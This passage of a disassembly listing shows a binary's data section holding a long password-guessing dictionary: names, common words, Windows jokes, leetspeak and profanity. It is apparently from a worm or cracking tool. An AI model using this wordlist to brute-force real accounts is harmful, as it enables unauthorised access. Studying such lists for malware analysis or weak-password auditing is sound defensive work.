; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_43C80C align 10h dword_4313B0 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aZimmerman db 'zimmerman',0 ; DATA XREF: ___:004313A4o align 10h aZap db 'zap',0 ; DATA XREF: ___:004313A0o aYellowstone db 'yellowstone',0 ; DATA XREF: ___:0043139Co aXyz db 'xyz',0 ; DATA XREF: ___:00431398o aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00431394o align 10h aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00431390o align 10h aWholesale db 'wholesale',0 ; DATA XREF: ___:0043138Co align 4 aTty db 'tty',0 ; DATA XREF: ___:00431388o aTopography db 'topography',0 ; DATA XREF: ___:00431384o align 4 aTemptation db 'temptation',0 ; DATA XREF: ___:00431380o align 4 aTelephone db 'telephone',0 ; DATA XREF: ___:0043137Co align 4 aTangerine db 'tangerine',0 ; DATA XREF: ___:00431378o align 10h aSys db 'sys',0 ; DATA XREF: ___:00431374o aSupported db 'supported',0 ; DATA XREF: ___:00431370o align 10h aSuperuser db 'superuser',0 ; DATA XREF: ___:0043136Co align 4 aSuperstage db 'superstage',0 ; DATA XREF: ___:00431368o align 4 aSun db 'sun',0 ; DATA XREF: ___:00431364o aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00431360o align 4 aStratford db 'stratford',0 ; DATA XREF: ___:0043135Co align 4 aStephanie db 'stephanie',0 ; DATA XREF: ___:00431358o align 10h aSignature db 'signature',0 ; DATA XREF: ___:00431354o align 4 aSheffield db 'sheffield',0 ; DATA XREF: ___:00431350o align 4 aSal db 'sal',0 ; DATA XREF: ___:0043134Co aRochester db 'rochester',0 ; DATA XREF: ___:00431348o align 4 aRje db 'rje',0 ; DATA XREF: ___:00431344o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00431340o align 4 aPub db 'pub',0 ; DATA XREF: ___:0043133Co aProfessor db 'professor',0 ; DATA XREF: ___:00431338o align 4 aPrinceton db 'princeton',0 ; DATA XREF: ___:00431334o align 4 aPondering db 'pondering',0 ; DATA XREF: ___:00431330o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: ___:0043132Co align 10h aPersimmon db 'persimmon',0 ; DATA XREF: ___:00431328o align 4 aPercolate db 'percolate',0 ; DATA XREF: ___:00431324o align 4 aPam db 'pam',0 ; DATA XREF: ___:00431320o aPad db 'pad',0 ; DATA XREF: ___:0043131Co aOceanography db 'oceanography',0 ; DATA XREF: ___:00431318o align 10h aNutrition db 'nutrition',0 ; DATA XREF: ___:00431314o align 4 aNew db 'new',0 ; DATA XREF: ___:00431310o aNet db 'net',0 ; DATA XREF: ___:0043130Co aMit db 'mit',0 ; DATA XREF: ___:00431308o aMgr db 'mgr',0 ; DATA XREF: ___:00431304o aMacintosh db 'macintosh',0 ; DATA XREF: ___:00431300o align 4 aLiz db 'liz',0 ; DATA XREF: ___:004312FCo aLee db 'lee',0 ; DATA XREF: ___:004312F8o aLamination db 'lamination',0 ; DATA XREF: ___:004312F4o align 4 aKim db 'kim',0 ; DATA XREF: ___:004312F0o aJoy db 'joy',0 ; DATA XREF: ___:004312E8o aJen db 'jen',0 ; DATA XREF: ___:004312E4o aInnocuous db 'innocuous',0 ; DATA XREF: ___:004312E0o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: ___:004312DCo align 10h aIbm db 'ibm',0 ; DATA XREF: ___:004312D8o aHappening db 'happening',0 ; DATA XREF: ___:004312D4o align 10h aHal db 'hal',0 ; DATA XREF: ___:004312D0o aGnu db 'gnu',0 ; DATA XREF: ___:004312CCo aFun db 'fun',0 ; DATA XREF: ___:004312C8o aForesight db 'foresight',0 ; DATA XREF: ___:004312C4o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: ___:004312C0o align 4 aExtension db 'extension',0 ; DATA XREF: ___:004312BCo align 10h aEstablish db 'establish',0 ; DATA XREF: ___:004312B8o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: ___:004312B4o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: ___:004312B0o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: ___:004312ACo align 10h aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:004312A8o align 4 aDos db 'dos',0 ; DATA XREF: ___:004312A4o aDog db 'dog',0 ; DATA XREF: ___:004312A0o aDiscovery db 'discovery',0 ; DATA XREF: ___:0043129Co align 10h aDesperate db 'desperate',0 ; DATA XREF: ___:00431298o align 4 aDeb db 'deb',0 ; DATA XREF: ___:00431294o aCornelius db 'cornelius',0 ; DATA XREF: ___:00431290o align 4 aCommrades db 'commrades',0 ; DATA XREF: ___:0043128Co align 4 aChristine db 'christine',0 ; DATA XREF: ___:00431288o align 4 aChristina db 'christina',0 ; DATA XREF: ___:00431284o align 10h aChemistry db 'chemistry',0 ; DATA XREF: ___:00431280o align 4 aCatherine db 'catherine',0 ; DATA XREF: ___:0043127Co align 4 aCat db 'cat',0 ; DATA XREF: ___:00431278o aCampanile db 'campanile',0 ; DATA XREF: ___:00431274o align 4 aCad db 'cad',0 ; DATA XREF: ___:00431270o aBsd db 'bsd',0 ; DATA XREF: ___:0043126Co aBob db 'bob',0 ; DATA XREF: ___:00431268o aBicameral db 'bicameral',0 ; DATA XREF: ___:00431264o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: ___:00431260o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:0043125Co align 4 aAsm db 'asm',0 ; DATA XREF: ___:00431258o aAsd db 'asd',0 ; DATA XREF: ___:00431254o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:00431250o align 10h aAnn db 'ann',0 ; DATA XREF: ___:0043124Co aAndromache db 'andromache',0 ; DATA XREF: ___:00431248o align 10h aAmy db 'amy',0 ; DATA XREF: ___:00431244o aAmorphous db 'amorphous',0 ; DATA XREF: ___:00431240o align 10h aAma db 'ama',0 ; DATA XREF: ___:0043123Co aAlf db 'alf',0 ; DATA XREF: ___:00431238o aAlbatross db 'albatross',0 ; DATA XREF: ___:00431234o align 4 aAda db 'ada',0 ; DATA XREF: ___:00431230o aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:0043122Co align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:00431228o align 10h aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:00431224o align 4 aHaxing db 'haxing',0 ; DATA XREF: ___:00431220o align 10h aHax db 'hax',0 ; DATA XREF: ___:0043121Co aWh0re db 'wh0re',0 ; DATA XREF: ___:00431218o align 4 aHo db 'ho',0 ; DATA XREF: ___:00431214o align 10h aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00431210o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: ___:0043120Co align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: ___:00431208o align 10h aWindozeme db 'windozeME',0 ; DATA XREF: ___:00431204o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00431200o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: ___:004311FCo align 4 aWindows95 db 'windows95',0 ; DATA XREF: ___:004311F8o align 10h aWindows98 db 'windows98',0 ; DATA XREF: ___:004311F4o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: ___:004311F0o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: ___:004311ECo align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:004311E8o align 10h aMs db 'MS',0 ; DATA XREF: ___:004311E4o align 4 aM db 'M$',0 ; DATA XREF: ___:004311E0o align 4 aBilly db 'billy',0 ; DATA XREF: ___:004311DCo align 10h aWindose db 'windose',0 ; DATA XREF: ___:004311D8o aWindoze db 'windoze',0 ; DATA XREF: ___:004311D4o aWindowz db 'windowz',0 ; DATA XREF: ___:004311D0o aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:004311CCo aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:004311C8o align 10h aAlexander db 'Alexander',0 ; DATA XREF: ___:004311C4o align 4 aAl3x db 'Al3x',0 ; DATA XREF: ___:004311C0o align 4 aDud3 db 'dud3',0 ; DATA XREF: ___:004311BCo align 4 aDudette db 'dudette',0 ; DATA XREF: ___:004311B8o aD00d db 'd00d',0 ; DATA XREF: ___:004311B4o align 4 aLol db 'lol',0 ; DATA XREF: ___:004311B0o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:004311ACo align 10h aRoscop db 'RoscoP',0 ; DATA XREF: ___:004311A8o align 4 aRosco db 'Rosco',0 ; DATA XREF: ___:004311A4o align 10h aRoss db 'Ross',0 ; DATA XREF: ___:004311A0o align 4 aTestin db 'testin',0 ; DATA XREF: ___:0043119Co align 10h aTester db 'tester',0 ; DATA XREF: ___:00431198o align 4 a00000000 db '00000000',0 ; DATA XREF: ___:00431194o align 4 aZulu db 'zulu',0 ; DATA XREF: ___:00431190o align 4 aZombie db 'zombie',0 ; DATA XREF: ___:0043118Co align 4 aZmodem db 'zmodem',0 ; DATA XREF: ___:00431188o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: ___:00431184o align 4 aZiggy db 'ziggy',0 ; DATA XREF: ___:00431180o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:0043117Co align 4 aZebra db 'zebra',0 ; DATA XREF: ___:00431178o align 4 aYoung db 'young',0 ; DATA XREF: ___:00431174o align 4 aYosemite db 'yosemite',0 ; DATA XREF: ___:00431170o align 4 aYolanda db 'yolanda',0 ; DATA XREF: ___:0043116Co aYellowst db 'yellowst',0 ; DATA XREF: ___:00431168o align 4 aYellow db 'yellow',0 ; DATA XREF: ___:00431164o align 4 aYankee db 'yankee',0 ; DATA XREF: ___:00431160o align 4 aYang db 'yang',0 ; DATA XREF: ___:0043115Co align 4 aYaco db 'yaco',0 ; DATA XREF: ___:00431158o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: ___:00431154o align 4 aXray db 'xray',0 ; DATA XREF: ___:00431150o align 4 aXmodem db 'xmodem',0 ; DATA XREF: ___:0043114Co align 4 aXmen db 'xmen',0 ; DATA XREF: ___:00431148o align 4 aXman db 'xman',0 ; DATA XREF: ___:00431144o align 4 aXfer db 'xfer',0 ; DATA XREF: ___:00431140o align 4 aXena db 'xena',0 ; DATA XREF: ___:0043113Co align 4 aWyoming db 'wyoming',0 ; DATA XREF: ___:00431138o aWwii db 'wwii',0 ; DATA XREF: ___:00431134o align 4 aWormwood db 'wormwood',0 ; DATA XREF: ___:00431130o align 10h aWorm db 'worm',0 ; DATA XREF: ___:0043112Co align 4 aWork db 'work',0 ; DATA XREF: ___:00431128o align 10h aWorf db 'worf',0 ; DATA XREF: ___:00431124o align 4 aWordperf db 'wordperf',0 ; DATA XREF: ___:00431120o align 4 aWord db 'word',0 ; DATA XREF: ___:0043111Co align 4 aWoodwind db 'woodwind',0 ; DATA XREF: ___:00431118o align 4 aWood db 'wood',0 ; DATA XREF: ___:00431114o align 10h aWomen db 'women',0 ; DATA XREF: ___:00431110o align 4 aWombat db 'wombat',0 ; DATA XREF: ___:0043110Co align 10h aWoman db 'woman',0 ; DATA XREF: ___:00431108o align 4 aWolverin db 'wolverin',0 ; DATA XREF: ___:00431104o align 4 aWolf db 'wolf',0 ; DATA XREF: ___:00431100o align 4 aWizard db 'wizard',0 ; DATA XREF: ___:004310FCo align 4 aWithin db 'within',0 ; DATA XREF: ___:004310F8o align 4 aWiseass db 'wiseass',0 ; DATA XREF: ___:004310F4o aWisconsi db 'wisconsi',0 ; DATA XREF: ___:004310F0o align 10h aWired db 'wired',0 ; DATA XREF: ___:004310ECo align 4 aWinston db 'winston',0 ; DATA XREF: ___:004310E8o aWing db 'wing',0 ; DATA XREF: ___:004310E4o align 4 aWine db 'wine',0 ; DATA XREF: ___:004310E0o align 10h aWindows db 'windows',0 ; DATA XREF: ___:004310DCo aWilma db 'wilma',0 ; DATA XREF: ___:004310D8o align 10h aWillie db 'willie',0 ; DATA XREF: ___:004310D4o align 4 aWilliams db 'williams',0 ; DATA XREF: ___:004310D0o align 4 aWilliam db 'william',0 ; DATA XREF: ___:004310CCo aWill db 'will',0 ; DATA XREF: ___:004310C8o align 4 aWhore db 'whore',0 ; DATA XREF: ___:004310C4o align 4 aWholesal db 'wholesal',0 ; DATA XREF: ___:004310C0o align 4 aWhitney db 'whitney',0 ; DATA XREF: ___:004310BCo aWhiting db 'whiting',0 ; DATA XREF: ___:004310B8o aWhite db 'white',0 ; DATA XREF: ___:004310B4o align 10h aWhisky db 'whisky',0 ; DATA XREF: ___:004310B0o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: ___:004310ACo aWhatever db 'whatever',0 ; DATA XREF: ___:004310A8o align 4 aWestern db 'western',0 ; DATA XREF: ___:004310A4o aWest db 'west',0 ; DATA XREF: ___:004310A0o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: ___:0043109Co align 4 aWendy db 'wendy',0 ; DATA XREF: ___:00431098o align 10h aWendi db 'wendi',0 ; DATA XREF: ___:00431094o align 4 aWell db 'well',0 ; DATA XREF: ___:00431090o align 10h aWeenie db 'weenie',0 ; DATA XREF: ___:0043108Co align 4 aWeed db 'weed',0 ; DATA XREF: ___:00431088o align 10h aWednesda db 'wednesda',0 ; DATA XREF: ___:00431084o align 4 aWebpage db 'webpage',0 ; DATA XREF: ___:00431080o aWave db 'wave',0 ; DATA XREF: ___:0043107Co align 4 aWater db 'water',0 ; DATA XREF: ___:00431078o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: ___:00431074o align 10h aWasp db 'wasp',0 ; DATA XREF: ___:00431070o align 4 aWarren db 'warren',0 ; DATA XREF: ___:0043106Co align 10h aWarp db 'warp',0 ; DATA XREF: ___:00431068o align 4 aWargames db 'wargames',0 ; DATA XREF: ___:00431064o align 4 aWarfare db 'warfare',0 ; DATA XREF: ___:00431060o aWarez db 'warez',0 ; DATA XREF: ___:0043105Co align 4 aWard db 'ward',0 ; DATA XREF: ___:00431058o align 4 aWaco db 'waco',0 ; DATA XREF: ___:00431054o align 4 aVodka db 'vodka',0 ; DATA XREF: ___:00431050o align 4 aVisualba db 'visualba',0 ; DATA XREF: ___:0043104Co align 4 aVisual db 'visual',0 ; DATA XREF: ___:00431048o align 10h aVisitor db 'visitor',0 ; DATA XREF: ___:00431044o aVirus db 'virus',0 ; DATA XREF: ___:00431040o align 10h aVirginia db 'virginia',0 ; DATA XREF: ___:0043103Co align 4 aVirgin db 'virgin',0 ; DATA XREF: ___:00431038o align 4 aVillage db 'village',0 ; DATA XREF: 